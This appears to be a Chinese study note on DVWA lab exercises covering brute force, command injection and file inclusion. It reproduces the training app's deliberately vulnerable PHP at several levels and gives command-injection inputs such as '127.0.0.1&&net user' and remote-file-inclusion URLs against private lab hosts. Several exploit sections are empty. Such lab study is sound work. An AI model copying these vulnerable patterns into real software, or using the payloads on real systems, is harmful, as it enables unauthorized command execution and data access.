2017.4.6 公司练习题

来源:互联网 发布:淘宝 百雀羚漫网专卖店 编辑:程序博客网 时间:2024/06/06 09:22

  • Brute Force
    • low
      • 代码
      • 漏洞利用
    • medium
      • 代码
      • 漏洞利用
    • high
  • Command Injection
    • low
      • 代码
      • 漏洞利用
    • medium
      • 代码
      • 漏洞利用
    • high
      • 代码
      • 漏洞利用
    • Impossible
      • 代码
      • 漏洞利用
    • 参考list
  • File Inclusion 文件包含
    • low
      • 代码
      • 漏洞利用
    • medium
    • 代码
    • 漏洞利用
    • high
  • 总结


1
http://192.168.100.48:88/index.php


2
http://192.168.100.48:88/DVWA-1.0.8/login.php admin/password

Brute Force

low

代码

<?phpif( isset( $_GET[ 'Login' ] ) ) {    // Get username    $user = $_GET[ 'username' ];    // Get password    $pass = $_GET[ 'password' ];    $pass = md5( $pass );    // Check the database    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );    if( $result && mysqli_num_rows( $result ) == 1 ) {        // Get users details        $row    = mysqli_fetch_assoc( $result );        $avatar = $row["avatar"];        // Login successful        $html .= "<p>Welcome to the password protected area {$user}</p>";        $html .= "<img src=\"{$avatar}\" />";    }    else {        // Login failed        $html .= "<pre><br />Username and/or password incorrect.</pre>";    }    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

漏洞利用


medium

代码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {    // Sanitise username input    $user = $_GET[ 'username' ];    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    // Sanitise password input    $pass = $_GET[ 'password' ];    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    $pass = md5( $pass );    // Check the database    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );    if( $result && mysqli_num_rows( $result ) == 1 ) {        // Get users details        $row    = mysqli_fetch_assoc( $result );        $avatar = $row["avatar"];        // Login successful        $html .= "<p>Welcome to the password protected area {$user}</p>";        $html .= "<img src=\"{$avatar}\" />";    }    else {        // Login failed        sleep( 2 );        $html .= "<pre><br />Username and/or password incorrect.</pre>";    }    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

条件:

(isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])

  • isset():
    检测变量是否设置,并且不是 NULL。

  • ___mysqli_ston

link=(GLOBALS[“___mysqli_ston”] = mysqli_connect(hostname,username, $pwd));

相当于数据库连接

  • is_object()

— 检测变量是否是一个对象

  • mysqli_real_escape_string():
    转义特殊字符,比如转义单引号,防止影响$sql语句的闭合

php连接MySQL数据库后,在对数据库进行查询或插入操作时,为了防止恶意访问,通常对输入的字符串进行转义。

前一章介绍了mysql与mysqli的区别,如果采用mysql库连接数据库,转义函数有两个

mysql_real_escape_string(string,connection);//第一个参数为需转义字符串,第二个参数为数据库连接。

mysql_escape_string(string);//参数为需转义字符串

从以上函数的定义可以看出,前者需要先连接数据库,而后者不需要。但是mysql的转义方式在php5.3以上的版本中已经弃用,不推荐使用。

漏洞利用:


high

<?phpif( isset( $_GET[ 'Login' ] ) ) {    // Check Anti-CSRF token    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  //检查token,防止表单重复提交    // Sanitise username input    $user = $_GET[ 'username' ];    $user = stripslashes( $user );    //stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    // Sanitise password input    $pass = $_GET[ 'password' ];    $pass = stripslashes( $pass );    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));    $pass = md5( $pass );    // Check database    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );    if( $result && mysqli_num_rows( $result ) == 1 ) {        // Get users details        $row    = mysqli_fetch_assoc( $result );        $avatar = $row["avatar"];        // Login successful        $html .= "<p>Welcome to the password protected area {$user}</p>";        $html .= "<img src=\"{$avatar}\" />";    }    else {        // Login failed        sleep( rand( 0, 3 ) );        $html .= "<pre><br />Username and/or password incorrect.</pre>";    }    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>

Command Injection

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

low

代码:

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {    // Get input    $target = $_REQUEST[ 'ip' ];    // Determine OS and execute the ping command.    //stristr() 函数搜索字符串在另一字符串中的第一次出现。    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {        // Windows        $cmd = shell_exec( 'ping  ' . $target );    }    else {        // *nix        $cmd = shell_exec( 'ping  -c 4 ' . $target );    }    // Feedback for the end user    $html .= "<pre>{$cmd}</pre>";}?>
  • php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

漏洞利用:

127.0.0.1&&net user


medium

代码:

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {    // Get input    $target = $_REQUEST[ 'ip' ];    // Set blacklist    $substitutions = array(        '&&' => '',        ';'  => '',    );    // Remove any of the charactars in the array (blacklist).    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );    //去掉所有&&或者;符号    // Determine OS and execute the ping command.    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {        // Windows        $cmd = shell_exec( 'ping  ' . $target );    }    else {        // *nix        $cmd = shell_exec( 'ping  -c 4 ' . $target );    }    // Feedback for the end user    $html .= "<pre>{$cmd}</pre>";}?>

漏洞利用:

  1. 127.0.0.1&net user

  2. 127.0.0.1&;&net user


high:

代码:

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {    // Get input    $target = trim($_REQUEST[ 'ip' ]);   //trim() 函数移除字符串两侧的空白字符或其他预定义字符。   //移除ip以外的字符    // Set blacklist    $substitutions = array(        '&'  => '',        ';'  => '',        '| ' => '',        '-'  => '',        '$'  => '',        '('  => '',        ')'  => '',        '`'  => '',        '||' => '',    );    // Remove any of the charactars in the array (blacklist).    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );    //去除黑名单中所有的字符    // Determine OS and execute the ping command.    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {        // Windows        $cmd = shell_exec( 'ping  ' . $target );    }    else {        // *nix        $cmd = shell_exec( 'ping  -c 4 ' . $target );    }    // Feedback for the end user    $html .= "<pre>{$cmd}</pre>";}?>

漏洞利用:

127.0.0.1|net user


Impossible

代码:

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {    // Check Anti-CSRF token    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // Get input    $target = $_REQUEST[ 'ip' ];    $target = stripslashes( $target );    // Split the IP into 4 octects    $octet = explode( ".", $target );    //以某字符串为界限把xx打散为数组:    // Check IF each octet is an integer     // 检查是否为整数     if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {        // If all 4 octets are int's put the IP back together.        //如果都是整数的话,再把4个数字连接起来        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];        // Determine OS and execute the ping command.        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {            // Windows            $cmd = shell_exec( 'ping  ' . $target );        }        else {            // *nix            $cmd = shell_exec( 'ping  -c 4 ' . $target );        }        // Feedback for the end user        $html .= "<pre>{$cmd}</pre>";    }    else {        // Ops. Let the user name theres a mistake        $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';    }}// Generate Anti-CSRF tokengenerateSessionToken();?>

漏洞利用:

可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。


参考list:

新手指南:DVWA-1.9全级别教程之Command Injection


File Inclusion 文件包含

low

http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file1.php
http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file2.php
http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file3.php

代码:

<?php// The page we wish to display$file = $_GET[ 'page' ];?>

未对page进行过滤,如果知道本地文件就可以读取出来

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

漏洞利用:

1。本地文件包含:

构造url(绝对路径):

构造url(相对路径):

加这么多..\是为了保证到达服务器的C盘根目录,可以看到读取是成功的。

2。远程文件包含:

http://192.168.100.45/info.php

构造url

http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=http://192.168.100.45/info.php


medium

代码:

<?php// The page we wish to display$file = $_GET[ 'page' ];// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );$file = str_replace( array( "../", "..\"" ), "", $file );?>//删除 http:// https:// ../ ..\等字符

漏洞利用:

双写绕过

攻击代码:
http://192.168.191.5/DVWA-master/vulnerabilities/fi/?page=http://192.168.191.4/info.php


high



#

3
http://192.168.100.48:7001/console/login/LoginForm.jsp


4
http://192.168.0.117/xss/level1.php?name=test


总结:

  • 看源码时,无非就是变量和函数,最多就是还有一些语法
0 0
原创粉丝点击